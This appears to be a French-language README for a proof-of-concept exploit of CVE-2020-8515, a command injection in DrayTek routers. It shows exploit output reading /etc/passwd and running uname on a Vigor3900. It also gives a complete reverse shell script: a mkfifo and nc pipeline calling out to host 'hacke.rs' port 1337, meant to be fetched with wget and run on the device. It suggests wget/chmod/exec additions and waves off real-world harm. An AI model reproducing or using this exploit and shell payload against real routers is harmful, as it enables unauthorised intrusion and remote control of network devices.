
Preuve de concept d'exploitation pour l'injection de commandes CVE-2020-8515 dans les routeurs Draytek. Inclut l'exploitation automatisée, la livraison de shell inversé et l'intégration avec les modèles de scan nuclei.
PoC Draytek CVE-2020-8515 que j'avais sous le coude.
Amusant, la commande injectée est exécutée deux fois, voir ici :
$ ./draytek.py draytek.local
(>) executing command: cat /etc/passwd
(+) vulnerable!
(>) executing command: uname -a
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
J'avais prévu de peaufiner un peu tout ça, mais honnêtement, ça fait quoi, un an maintenant et je ne me souviens plus de ce que ces plans étaient, alors voilà. Ce n'est pas dur d'ajouter des trucs en wget/chmod/exec là-dedans, il suffit de regarder dans la fonction "do_stuff".
Si vous récupérez avec wget et exécutez un script comme celui-ci, vous obtenez bien un reverse shell :
#!/bin/sh
HOST="hacke.rs"
PORT=1337
rm -f /tmp/a; mkfifo /tmp/a; nc $HOST $PORT 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
Je pense qu'on peut probablement aussi charger un tel script par echo si on arrive à contourner les mauvais caractères dans l'injection, je l'ajouterai peut-être plus tard — le problème de la double exécution rend quand même ça un peu pénible. Pour l'instant, c'est un peu à moitié fini, « l'utilisateur décide ».
Cet exploit ne causera pas beaucoup de dégâts en conditions réelles, toutes les box vulnérables ont probablement déjà été récupérées par des botnets DDoS de script kiddies.
Pour le scan : utilisez le template nuclei fait par quelqu'un